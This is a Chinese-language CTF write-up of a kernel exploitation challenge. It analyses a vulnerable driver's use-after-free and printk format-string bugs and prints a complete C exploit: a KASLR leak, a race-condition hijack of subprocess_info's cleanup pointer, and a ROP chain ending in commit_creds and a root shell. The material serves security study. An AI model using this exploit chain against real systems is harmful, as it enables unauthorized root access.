0%

subprocess_info attack+条件竞争

flying kernel 复现

1
2
3
➜  files cpio -idmv < rootfs.img
➜ files ./extract-vmlinux ./bzImage > vmlinux
➜ files time ropper --file ./vmlinux --nocolor > g1
  • 提取 gadget
1
2
3
4
5
6
7
8
9
10
11
12
➜  files cat boot.sh 
#!/bin/sh
qemu-system-x86_64 \
-m 2G \
-kernel ./bzImage \
-initrd ./rootfs.img \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 oops=panic panic=1 nosmap" \
-cpu kvm64,+smep \
-smp cores=2,threads=2 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic
  • 开了 smep(防止 ret2usr 攻击)和 kaslr(内核地址随机化)
  • 用了2个核心,2个线程(限制线程数量,可能有条件竞争)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
➜  rootfs cat init                           
#!/bin/sh

mkdir tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

insmod /flying.ko
chmod 666 /dev/seven
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict # 普通用户都无法读取内核符号地址
echo 1 > /proc/sys/kernel/dmesg_restrict # 限制dmesg
chmod 400 /proc/kallsyms # 限制linux内核符号表

poweroff -d 240 -f & # 自动关机,需要删除
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /sys
umount /tmp

poweroff -d 0 -f
  • 不允许普通用户使用 dmesg 命令
  • 普通用户都无法读取内核符号地址
  • /proc/kallsyms 中,其它用户(Other Users)没有权限,不能 cat
  • 把“自动关机”删除,方便调试
  • 加载了一个 flying.ko 的驱动文件,先对其进行逆向分析

先看看 ioctl 中注册了什么函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall seven_ioctl(__int64 fd, __int64 command, __int64 size)
{
switch ( (_DWORD)command )
{
case 0x6666: // delete
if ( sctf_buf )
{
kfree(sctf_buf, command, size);
return 0LL;
}
else
{
printk("What are you doing?");
return -1LL;
}
case 0x7777: // show
if ( sctf_buf )
printk(sctf_buf);
return 0LL;
case 0x5555: // add
if ( size == 0x80 )
{
sctf_buf = kmem_cache_alloc_trace(kmalloc_caches[7], 0xCC0LL, 0x80LL);
printk("Add Success!\n");
}
else
{
printk("It's not that simple\n");
}
return 0LL;
default:
return -1LL;
}
}
  • 0x6666:释放 sctf_buf
  • 0x7777:打印 sctf_buf
  • 0x5555:申请 sctf_buf(大小限制为 0x80)

PS:kmem_cache_alloc_trace 是 slab 算法中的函数,kmalloc_caches(缓存描述符)是相当重要的结构体,包含了一些缓存的管理数据,和指向实际缓存空间的指针

1653927280497

其他函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall seven_write(__int64 a1, __int64 buf, unsigned __int64 size)
{
if ( sctf_buf )
{
if ( size <= 0x80 )
{
printk(&unk_28D);
copy_from_user(sctf_buf + 0x80 - size, buf, size);
}
}
else
{
printk("What are you doing?");
}
return size;
}
  • sctf_buf 中有 0x80 的 heap 空间
  • seven_write 会保证该空间的最后一个字节一定有数据

漏洞分析

1
-smp cores=2,threads=2 
  • 限制线程数量,可能有条件竞争
1
2
3
4
5
6
case 0x6666:
if ( sctf_buf )
{
kfree(sctf_buf, command, size);
return 0LL;
}
  • kfree 没有置空 sctf_buf 指针,UAF
1
2
3
4
case 0x7777:
if ( sctf_buf )
printk(sctf_buf);
return 0LL;
  • printk 在内核源码中用来记录日志信息的函数,只能在内核源码范围内使用,用法和 printf 非常相似,所以存在格式化漏洞

入侵思路

我们先进行调试:

对于内核中的各个符号来说,我们也可以通过以下命令来查看一些符号在内存中的加载地址:

1
2
3
4
grep <symbol_name> /proc/kallsyms # symbol_name == 驱动的名称
grep prepare_kernel_cred /proc/kallsyms
grep commit_creds /proc/kallsyms
grep ko_test_init /proc/kallsyms
1
2
3
4
5
6
/ # grep seven /proc/kallsyms
ffffffffc02d4000 t seven_close [flying]
ffffffffc02d4010 t seven_open [flying]
ffffffffc02d4020 t seven_ioctl [flying]
ffffffffc02d40c0 t seven_write [flying]
ffffffffc02d4121 t seven_exit [flying]
  • 同时,调试内核时,为了加载 vmlinux 符号表,必须额外指定 -append "nokaslr" 以关闭 kernel ASLR,这样符号表才能正确的对应至内存中的指定位置,否则将无法给目标函数下断点

还可以使用以下指令来获取符号表:

1
2
/ # lsmod
flying 16384 0 - Live 0xffffffffc02d4000 (O)

但是 vmlinux 的符号表似乎被删除了:

1
2
3
4
5
6
pwndbg> add-symbol-file vmlinux 0xffffffffc02d4000
add symbol table from file "vmlinux" at
.text_addr = 0xffffffffc02d4000
Reading symbols from vmlinux...
(No debugging symbols found in vmlinux)
warning: newly-added symbol file "vmlinux" does not provide any symbols
  • 没办法,没有符号表调试不了,一秒一步的 kernel 太难受了

先利用格式化漏洞来泄露数据:

1
2
3
4
add(fd);
write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);
show(fd);
show(fd);
1
2
3
4
5
6
/ $ ./exp
[ 5.272409] open()
fd: 3
[ 5.277169] Add Success!
[ 5.277557] write()
[ 5.277849] 7777 0 0 1 0 ffffffffa65f3ecd 0 ffffabb380247f58 0 0 0 0
  • slub 分配器在 kmem_cache_cpu 中使用 freelist 管理空闲对象,类似于 glibc 中的 fastbin

由于开启了 freelist 随机化和 Harden_freelist 保护,以上数据并不是正确的

1
2
3
4
5
6
7
8
9
10
11
12
13
static inline void *get_freepointer_safe(struct kmem_cache *s, void *object)
{
unsigned long freepointer_addr;
void *p;

if (!debug_pagealloc_enabled()) /* 如果没开启CONFIG_DEBUG_PAGEALLOC,那么就会进入get_freepointer() */
return get_freepointer(s, object);

/* 否则就会进行加密 */
freepointer_addr = (unsigned long)object + s->offset;
probe_kernel_read(&p, (void **)freepointer_addr, sizeof(p));
return freelist_ptr(s, p, freepointer_addr);
}
  • 加固指针 = 空闲指针 ^ 空闲指针地址 ^ 随机数R,只要知道这些值就可以绕过 Harden_freelist
  • 关于 freelist 的保护可以看这篇文章:slub堆溢出的利用 - 安全客

这里出现了两种思路:

  • 利用条件竞争劫持 subprocess_info
  • 泄露 random 劫持 freelist 打 modprobe_path

利用条件竞争劫持 subprocess_info

在使用 socket(22, AF_INET, 0) 时会分配结构体 subprocess_info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
struct file *file;
int wait;
int retval;
pid_t pid;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;
  • 此对象在分配时最终会调用 cleanup 函数,如果我们能在分配过程中把 cleanup 指针劫持为我们的 ROP 链
  • 为了 subprocess_info 不被破坏,我们只能覆盖 cleanup 指针

模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned long *info = (unsigned long*)arg;
info[0] = (u_int64_t)xchg_eax_esp; // cleanup将会被劫持为这里(这个gadget可以控制栈,方便进行ROP)

u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);
printf("[+] hijacked_stack: %p\n", (char *)hijacked_stack_addr);

char* fake_stack = NULL;
if((fake_stack = mmap((char*)((hijacked_stack_addr & (~0xfff))),0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED)
perror("mmap");
printf("[+] fake_stack addr: %p\n", fake_stack);

fake_stack[0]=0;
u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
int index = 0;
hijacked_stack_ptr[index++] = pop_rdi;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = prepare_kernel_cred;
hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = commit_creds;
hijacked_stack_ptr[index++] = swapgs;
hijacked_stack_ptr[index++] = iretq;
hijacked_stack_ptr[index++] = (u_int64_t)getshell;
hijacked_stack_ptr[index++] = user_cs;
hijacked_stack_ptr[index++] = user_rflags;
hijacked_stack_ptr[index++] = user_rsp;
hijacked_stack_ptr[index++] = user_ss;
  • 这些 gadget 都可以通过 ropper 来找
  • commit_creds,prepare_kernel_cred 可以通过 grep <symbol_name> /proc/kallsyms 来找(记得开 root,关闭 kernel ASLR)
  • 而 user_cs 这些寄存器的值,可以通过 save_status 来获取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
xchg_eax_esp = 0xffffffff81011cb0 + raw_kernel; // xchg eax, esp; ret;
pop_rdi = 0xffffffff810016e9+ raw_kernel; // pop rdi; ret;
mov_cr4_rdi = 0xFFFFFFFF810460F2+ raw_kernel; // mov cr4, rdi; pop rbp; ret;
prepare_kernel_cred = 0xFFFFFFFF8108C780+ raw_kernel;
commit_creds = 0xFFFFFFFF8108C360+ raw_kernel;
mov_rdi_rsi = 0xffffffff81075f00 + raw_kernel; // mov qword ptr [rdi], rsi; ret;
pop_rsi = 0xffffffff811cad0d + raw_kernel; // pop rsi;ret
hook_prctl = 0xFFFFFFFF824C0D80 + raw_kernel; /* no work */
poweroff_work_func = 0xFFFFFFFF810C9CE0+ raw_kernel; /* no work */
power_cmd = 0xFFFFFFFF82663440 + raw_kernel; /* no work */
mov_rdi_rax_je_pop_pop_ret = 0xffffffff819b5764 + raw_kernel; // mov rdi
swapgs = 0xffffffff81c00f58 + raw_kernel; // swagps;ret
iretq = 0xffffffff81024f92 + raw_kernel; // iretq; ret;
test_rbx_jne_pop_pop_ret = 0xffffffff811d9291 + raw_kernel; /* no work */
printf("[+] xchg addr :b *0x%16llx\n", xchg_eax_esp);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
u_int64_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void save_status()
{
__asm__ (".intel_syntax noprefix\n");
__asm__ volatile (
"mov user_cs, cs;\
mov user_ss, ss;\
mov user_gs, gs;\
mov user_ds, ds;\
mov user_es, es;\
mov user_rsp, rsp;\
pushf;\
pop user_rflags"
);
printf("[+] got user stat\n");
}

接下来就是条件竞争的利用了:

  • 我们的目标是在 subprocess_info->cleanup 中覆盖 ROP 链(首地址)
  • 由于程序有 kmalloc-128 的 UAF,所以很轻松就可以把 subprocess_info 分配到 sctf_buf
  • 但是好像不能直接修改 subprocess_info,因为 socket 调用后,马上就会执行 cleanup,根本就没有修改的时间
  • 采用条件竞争,在 socket 执行后,cleanup 执行前,利用 writecleanup 中填入 ROP 链

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <string.h>
#include <sys/timerfd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <signal.h>

u_int64_t KERNEL_BIN_BASE = 0xFFFFFFFF81000000;
u_int64_t kernel_base;
u_int64_t raw_kernel;
u_int64_t pop_rdi; // pop rdi; ret;
u_int64_t mov_cr4_rdi; // mov cr4, rdi; pop rbp; ret;
u_int64_t prepare_kernel_cred;
u_int64_t commit_creds;
u_int64_t mov_rdi_rsi; // mov qword ptr [rdi], rsi; ret;
u_int64_t pop_rsi ; // pop rsi;ret
u_int64_t hook_prctl ;
u_int64_t poweroff_work_func;
u_int64_t power_cmd ;
u_int64_t mov_rdi_rax_je_pop_pop_ret; // mov rdi
//0xffffffff819b5084: mov rdi, rax; je 0xbb508f; mov rax, rdi; pop rbx; pop rbp; ret;
u_int64_t swapgs ; // swagps;ret
u_int64_t iretq ;
u_int64_t test_rbx_jne_pop_pop_ret;
long long int magic1;

struct DATA
{
char* buf;
};

void add(int fd)
{
ioctl(fd, 0x5555, 0x80);
}

void delete(int fd)
{
ioctl(fd, 0x6666, 0);
}

void show(int fd)
{
ioctl(fd, 0x7777, 0);
}

u_int64_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void save_status()
{
__asm__ (".intel_syntax noprefix\n");
__asm__ volatile (
"mov user_cs, cs;\
mov user_ss, ss;\
mov user_gs, gs;\
mov user_ds, ds;\
mov user_es, es;\
mov user_rsp, rsp;\
pushf;\
pop user_rflags"
);
printf("[+] got user stat\n");
}

u_int64_t raw_kernel;
int race_flag = 0;

void getshell()
{
if(getuid() == 0)
{
race_flag = 1;
puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!");
system("/bin/sh");
}
else
{
puts("[!] failed!");
}
}

static int fd = NULL;
u_int64_t xchg_eax_esp = NULL;

void *race(void *arg)
{
unsigned long *info = (unsigned long*)arg;
info[0] = (u_int64_t)xchg_eax_esp; // cleanup将会被劫持为这里(这个gadget可以控制栈,方便进行ROP)

u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);
printf("[+] hijacked_stack: %p\n", (char *)hijacked_stack_addr);

char* fake_stack = NULL;
if((fake_stack = mmap((char*)((hijacked_stack_addr & (~0xfff))),0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED)
perror("mmap");
printf("[+] fake_stack addr: %p\n", fake_stack);

fake_stack[0]=0;
u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
int index = 0;
hijacked_stack_ptr[index++] = pop_rdi;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = prepare_kernel_cred;
hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = commit_creds;
hijacked_stack_ptr[index++] = swapgs;
hijacked_stack_ptr[index++] = iretq;
hijacked_stack_ptr[index++] = (u_int64_t)getshell;
hijacked_stack_ptr[index++] = user_cs;
hijacked_stack_ptr[index++] = user_rflags;
hijacked_stack_ptr[index++] = user_rsp;
hijacked_stack_ptr[index++] = user_ss;
while(1) {
write(fd, (void*)info,0x20);
if (race_flag) break;
}
return NULL;
}

int main()
{
u_int64_t kernel_addr,onegadget,target;
signal(SIGSEGV, getshell);
unsigned long buf[0x200];
memset(buf, 0, 0x1000);
fd = open("/dev/seven", O_RDWR);
printf("fd: %d\n", fd);
if (fd < 0)
{
return -1;
}
add(fd);
write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);
show(fd);
show(fd);
scanf("%llx",&magic1);

raw_kernel = magic1 - 0x1f3ecd - KERNEL_BIN_BASE;
printf("[+] raw_kernel addr : 0x%16llx\n", raw_kernel);
xchg_eax_esp = 0xffffffff81011cb0 + raw_kernel; // xchg eax, esp; ret;
pop_rdi = 0xffffffff810016e9+ raw_kernel; // pop rdi; ret;
mov_cr4_rdi = 0xFFFFFFFF810460F2+ raw_kernel; // mov cr4, rdi; pop rbp; ret;
prepare_kernel_cred = 0xFFFFFFFF8108C780+ raw_kernel;
commit_creds = 0xFFFFFFFF8108C360+ raw_kernel;
mov_rdi_rsi = 0xffffffff81075f00 + raw_kernel; // mov qword ptr [rdi], rsi; ret;
pop_rsi = 0xffffffff811cad0d + raw_kernel; // pop rsi;ret
mov_rdi_rax_je_pop_pop_ret = 0xffffffff819b5764 + raw_kernel; // mov rdi
swapgs = 0xffffffff81c00f58 + raw_kernel; // swagps;ret
iretq = 0xffffffff81024f92 + raw_kernel; // iretq; ret;
printf("[+] xchg addr :b *0x%16llx\n", xchg_eax_esp);

save_status();

delete(fd);
socket(22, AF_INET, 0);
pthread_t th;
pthread_create(&th, NULL, race, (void*)buf);
while(1) {
usleep(1);
socket(22, AF_INET, 0);
//getshell();
if (race_flag) break;
}
return 0;
}

小结:

这是我们组里大佬出的题,学了条件竞争后我就想试试,但太菜了一直拖到今天

现在还是只能依葫芦画瓢,但大佬的思路的 exp 我算是看懂了

我觉得我还需要大量的练习,提高熟练度